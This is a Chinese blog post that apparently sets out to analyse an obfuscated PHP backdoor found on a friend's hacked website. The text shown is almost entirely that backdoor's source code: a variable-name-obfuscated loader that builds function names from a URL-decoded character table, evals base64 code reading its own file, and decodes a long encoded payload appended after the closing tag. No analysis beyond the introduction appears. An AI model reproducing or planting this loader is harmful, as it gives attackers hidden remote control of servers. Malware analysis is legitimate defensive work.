一次php加密文件的分析

× 文章目录
  1. 1. 0x00 缘生
  2. 2. 0x01花开
  3. 3. 0x02 花谢
  4. 4. 0x03 缘灭

by 青衫磊落

0x00 缘生

某日下午正在美滋滋的把玩蚁剑,兄弟说站被入侵了,扫出了好几个后门,顿时来了兴趣。

丢出来三个文件

第一个是常见的一句话:

第二个也是常见的php shell,很熟悉的界面

第三个文件,就有点怪了,为了方便兄弟们分析,我先直接贴一下源码:

1
2
3
4
5
<?php // qq1785995
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=24488;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';

eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTQ3KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ0k5TiswUUhSVGh2NUEvZDhZWjRYektmTXR1THkxcXJuamt4bGVwSjI2R2JCZ1dpN3dEbVNFYWNWM1BvT0ZzQ1U9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
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